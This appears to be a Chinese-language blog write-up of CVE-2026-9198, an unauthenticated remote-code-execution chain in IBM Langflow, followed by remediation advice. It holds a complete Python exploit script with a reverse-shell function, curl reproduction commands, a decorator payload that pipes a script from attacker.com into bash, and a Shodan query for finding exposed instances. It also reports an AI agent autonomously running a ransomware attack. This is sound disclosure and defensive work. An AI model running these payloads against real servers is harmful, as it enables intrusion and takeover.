Announcement

👇Official Account👇

Welcome to join the group & private message

Article first/tail QR code

Skip to content

CVE-2026-9198 深度复盘:IBM Langflow AI 平台零认证 RCE 攻击链全拆解

漏洞概览

2026 年 8 月 4 日,CISA 将 CVE-2026-9198 加入已知被利用漏洞(KEV)目录。这个 CVSS 9.8 的零认证远程代码执行漏洞影响 IBM Langflow OSS 1.0.0 至 1.10.0 版本,攻击者无需任何凭据即可通过两个 API 端点的链式调用在目标服务器上执行任意 Python 代码。

Langflow 是 IBM 在 2024 年收购的低代码 AI Agent 可视化编排平台,被大量团队用于拖拽式构建 LLM 工作流。这意味着该漏洞直接威胁 AI 基础设施层——不是模型本身的幻觉或注入,而是承载 Agent 运行的应用服务器。

┌─────────────────────────────────────────────────────┐
│              CVE-2026-9198 攻击链                    │
│                                                     │
│  攻击者                                             │
│    │                                                │
│    ▼                                                │
│  Step 1: POST /api/v1/auto_login                   │
│    │  ← 无需任何凭据                                │
│    ▼                                                │
│  获得 SUPERUSER Bearer Token(长期有效)             │
│    │                                                │
│    ▼                                                │
│  Step 2: POST /api/v1/validate/code                │
│    │  Authorization: Bearer <SUPERUSER_TOKEN>       │
│    │  Body: {"code": "import os; os.system('id')"} │
│    ▼                                                │
│  Python exec() 执行任意代码                         │
│    │                                                │
│    ▼                                                │
│  完全控制 Langflow 服务器进程                        │
└─────────────────────────────────────────────────────┘

漏洞技术细节

根因分析:两个缺陷的致命组合

CVE-2026-9198 不是单一漏洞,而是两个独立设计缺陷的链式利用。

缺陷一:/api/v1/auto_login 认证绕过

Langflow OSS 默认启用 AUTO_LOGIN=True。在这个配置下,/api/v1/auto_login 端点会向任何未认证的网络调用者发放 SUPERUSER 级别的 Bearer Token,且不进行任何凭据检查。

python
# Langflow OSS 源码中 auto_login 端点的核心逻辑(简化)
@app.post("/api/v1/auto_login")
async def auto_login():
    # AUTO_LOGIN 默认为 True
    # 任何网络调用者都能获得超级用户令牌
    token = create_super_user_token()  # 长期有效
    return {"access_token": token}

关键问题:

  • AUTO_LOGIN 在默认配置中为 True(开箱即用)
  • Token 权限为 SUPERUSER,拥有所有操作的完整权限
  • Token 有效期较长,不存在自动过期机制
  • 无 IP 白名单、无速率限制、无审计日志

缺陷二:/api/v1/validate/code 代码注入

/api/v1/validate/code 端点接收用户提交的 Python 代码,并直接通过 exec() 执行,没有任何沙箱隔离、输入限制或资源限制。

python
# Langflow OSS 源码中 validate/code 端点的核心逻辑(简化)
@app.post("/api/v1/validate/code")
async def validate_code(
    request: Request,
    code: str = Body(..., embed=True),
    token: str = Depends(get_current_user),  # 只需有效 token
):
    # 直接 exec() 执行用户代码
    # 无沙箱、无 AST 检查、无资源限制
    exec(code)  # ← CWE-94: Improper Control of Generation of Code
    return {"status": "valid"}

exec() 的危险在于它执行的是完整的 Python 语句,包括 importos.system()subprocess.Popen() 等可触发系统级操作的调用。更严重的是,装饰器和默认参数表达式在函数定义时就会执行,即使后续不调用该函数。

MITRE ATT&CK 映射

战术技术说明
Initial AccessT1190 Exploit Public-Facing Application利用暴露的 Langflow API
ExecutionT1059.006 Python Execution通过 exec() 执行 Python 代码
Privilege EscalationToken 直接为 SUPERUSER,无需提权
Persistence长期有效 Token + 写入计划任务

攻击链复现

环境准备

bash
# 安装受影响版本
pip install langflow==1.10.0

# 启动 Langflow(默认配置,AUTO_LOGIN=True)
langflow run --host 0.0.0.0 --port 7860

Step 1:获取 SUPERUSER Token

bash
# 无需任何凭据,直接请求 auto_login
curl -X POST http://target:7860/api/v1/auto_login

# 响应:
# {"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
#  "token_type":"bearer"}

Step 2:利用 validate/code 执行任意代码

bash
# 使用获得的 Token 执行系统命令
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."

curl -X POST http://target:7860/api/v1/validate/code \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"code": "import os; print(os.popen(\"id\").read())"}'

# 响应包含命令执行结果:
# uid=1000(langflow) gid=1000(langflow) groups=1000(langflow)

完整 PoC 脚本

python
"""
CVE-2026-9198 PoC - IBM Langflow OSS Unauthenticated RCE
影响版本: 1.0.0 - 1.10.0
修复版本: 1.10.1
仅用于授权安全测试。
"""

import requests
import sys
import json

def exploit(target_url: str, command: str) -> str:
    """
    执行 CVE-2026-9198 攻击链:
    1. 通过 auto_login 获取 SUPERUSER Token
    2. 通过 validate/code 执行任意命令
    """
    session = requests.Session()
    session.headers.update({"User-Agent": "CVE-2026-9198-PoC/1.0"})

    # Step 1: 获取 SUPERUSER Token
    print(f"[*] 目标: {target_url}")
    print("[*] Step 1: 请求 /api/v1/auto_login ...")

    resp = session.post(
        f"{target_url}/api/v1/auto_login",
        timeout=10
    )

    if resp.status_code != 200:
        print(f"[-] auto_login 失败: HTTP {resp.status_code}")
        sys.exit(1)

    token = resp.json().get("access_token")
    if not token:
        print("[-] 响应中未找到 access_token")
        sys.exit(1)

    print(f"[+] 获得 SUPERUSER Token: {token[:50]}...")

    # Step 2: 执行任意代码
    print(f"[*] Step 2: 通过 /api/v1/validate/code 执行命令: {command}")

    payload = {
        "code": f"import os; print(os.popen('{command}').read())"
    }

    resp = session.post(
        f"{target_url}/api/v1/validate/code",
        headers={
            "Authorization": f"Bearer {token}",
            "Content-Type": "application/json"
        },
        json=payload,
        timeout=30
    )

    if resp.status_code == 200:
        result = resp.json()
        print(f"[+] 执行成功:")
        print(result)
        return result
    else:
        print(f"[-] 执行失败: HTTP {resp.status_code}")
        print(resp.text)
        sys.exit(1)


def reverse_shell(target_url: str, lhost: str, lport: int):
    """通过 CVE-2026-9198 建立反弹 Shell"""
    shell_code = f"""
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("{lhost}", {lport}))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
"""
    exploit(target_url, f"exec('''{shell_code}''')")


if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"用法: python {sys.argv[0]} <target_url> <command>")
        print(f"示例: python {sys.argv[0]} http://localhost:7860 id")
        sys.exit(0)

    target = sys.argv[1]
    cmd = sys.argv[2]
    exploit(target, cmd)

隐蔽利用:装饰器注入

exec() 在执行函数定义时会先执行装饰器和默认参数表达式。攻击者可以利用这一点在看似无害的函数定义中隐藏恶意代码:

python
# 看似定义一个普通函数,实际上 __import__ 在定义时就会执行
@__import__('os').system('curl http://attacker.com/shell.sh | bash')
def innocent_function():
    pass

# 默认参数表达式也会在定义时执行
def another_function(cmd=__import__('os').popen('whoami').read()):
    return cmd

这种技术可以绕过基于函数体分析的简单检测规则。

暴露面分析

互联网暴露的 Langflow 实例

Langflow 默认监听 0.0.0.0:7860,且文档中常见的部署方式是直接暴露端口。通过 Shodan/Censys 搜索可发现大量暴露在互联网的 Langflow 实例。

bash
# Shodan 搜索语法
shodan search "http.html:\"langflow\"" --fields ip_str,port

历史攻击记录

  • 2026 年 6 月:攻击者劫持面向互联网的 Langflow 实例挖掘加密货币
  • 2026 年 7 月:研究人员记录了一个 AI Agent 自主对 Langflow 主机发起勒索软件攻击的案例
  • 2026 年 8 月 4 日:CISA 将 CVE-2026-9198 加入 KEV 目录,确认在野利用

修复方案

官方修复

IBM 发布了 Langflow OSS 1.10.1 修复此漏洞,无可用缓解措施,唯一支持的方式是升级。

bash
pip install --upgrade langflow==1.10.1

临时缓解(无法立即升级时)

如果无法立即升级,唯一有效的缓解措施是在网络层面完全阻断未认证访问:

nginx
# Nginx 反向代理:强制认证
location /api/v1/auto_login {
    # 完全禁止外部访问
    deny all;
    return 403;
}

location /api/v1/validate/code {
    # 需要额外的认证层
    auth_request /auth-check;
    proxy_pass http://langflow_backend;
}
python
 # 使用额外的反向代理认证中间件
from fastapi import Request, HTTPException
from fastapi.security import APIKeyHeader

api_key_header = APIKeyHeader(name="X-Internal-API-Key")

async def verify_internal_access(api_key: str = Depends(api_key_header)):
    if api_key != os.environ.get("INTERNAL_API_KEY"):
        raise HTTPException(status_code=403, detail="Access denied")
    return api_key

# 在 Langflow 前面加一层网关
@app.middleware("http")
async def security_middleware(request: Request, call_next):
    # 阻断 auto_login 外部访问
    if request.url.path == "/api/v1/auto_login":
        client_ip = request.client.host
        if client_ip != "127.0.0.1":
            raise HTTPException(status_code=403, detail="Forbidden")
    response = await call_next(request)
    return response

深度防御建议

  1. 禁用 AUTO_LOGIN:生产环境必须设置 AUTO_LOGIN=False
  2. 网络隔离:Langflow 不应直接暴露在互联网
  3. 代码执行沙箱validate/code 应使用容器化沙箱执行用户代码
  4. AST 检查:在 exec() 前检查代码中是否包含危险模块导入
python
import ast

class CodeSafetyChecker(ast.NodeVisitor):
    DANGEROUS_MODULES = {"os", "subprocess", "sys", "socket", "shutil"}
    DANGEROUS_CALLS = {"exec", "eval", "compile", "__import__"}

    def __init__(self):
        self.violations = []

    def visit_Import(self, node):
        for alias in node.names:
            if alias.name.split('.')[0] in self.DANGEROUS_MODULES:
                self.violations.append(f"禁止导入模块: {alias.name}")
        self.generic_visit(node)

    def visit_Call(self, node):
        if isinstance(node.func, ast.Name):
            if node.func.id in self.DANGEROUS_CALLS:
                self.violations.append(f"禁止调用: {node.func.id}")
        self.generic_visit(node)

def check_code_safety(code: str) -> list[str]:
    tree = ast.parse(code)
    checker = CodeSafetyChecker()
    checker.visit(tree)
    return checker.violations

# 使用示例
violations = check_code_safety("import os; os.system('id')")
if violations:
    raise SecurityError(f"代码包含危险操作: {violations}")

CVE-2026-9198 对 AI 基础设施安全的启示

AI 平台的信任边界问题

Langflow 这类 AI Agent 编排平台的核心价值是"让用户可视化编排 LLM 工作流"。但"编排 LLM"和"执行任意代码"之间只有一步之遥——validate/code 端点本质上是一个远程代码执行服务,只是披了"代码验证"的外衣。

这不是 Langflow 独有的问题。整个 AI Agent 生态都面临同一困境:

AI 平台能力安全风险
代码执行工具RCE
文件系统访问数据泄露
数据库连接SQL 注入
API 调用SSRF
Shell 命令命令注入

MCP 时代的 Agent 身份治理

CVE-2026-9198 暴露的核心问题是:Agent 平台使用为人类设计的访问模型。AUTO_LOGIN 发放的 SUPERUSER Token 是一种"静态、宽泛"的凭据,完全不适合自主执行场景。

2026 年 Black Hat 大会上 Rubrik 发布的 Agent Identity 提出了正确的方向:

  • 每次工具调用单独授权(JIT Token)
  • 读写分离(读操作默认放行,写操作需显式策略)
  • 行为分析(语义评估请求意图)
  • Agent Rewind(撤销错误操作)

企业采购清单

如果你的组织正在评估或已经部署 Langflow(或类似 AI Agent 平台),以下检查项应在部署前完成:

时间线

时间事件
2026-07-17CVE-2026-9198 在 NVD 发布
2026-07-17IBM 发布安全公告(7278927),修复版本 1.10.1
2026-06攻击者利用暴露的 Langflow 实例挖矿(IntelFusions 报告)
2026-07AI Agent 自主对 Langflow 发起勒索攻击(研究报告)
2026-08-04CISA 将 CVE-2026-9198 加入 KEV 目录
2026-08-04BOD 26-04 联邦机构需在限期内修复

总结

CVE-2026-9198 是一个教科书级的 AI 基础设施安全案例。它不是复杂的内存破坏漏洞,而是一个简单的"认证绕过 + 代码注入"组合——但正是这种简单性让它极其危险。任何使用默认配置暴露在互联网的 Langflow 实例都可能已被攻陷。

对 AI Agent 生态而言,这个漏洞传递的信号是:为人类设计的权限模型不能直接用于自主执行的 AI Agent。Agent 平台需要 per-tool-call 的细粒度授权、行为级别的语义分析、以及失败时的回滚能力。Langflow 的 exec() 无沙箱设计是一个警示,整个 AI Agent 工具链都应重新审视"代码执行"能力的暴露面。

参考资料

上次更新于: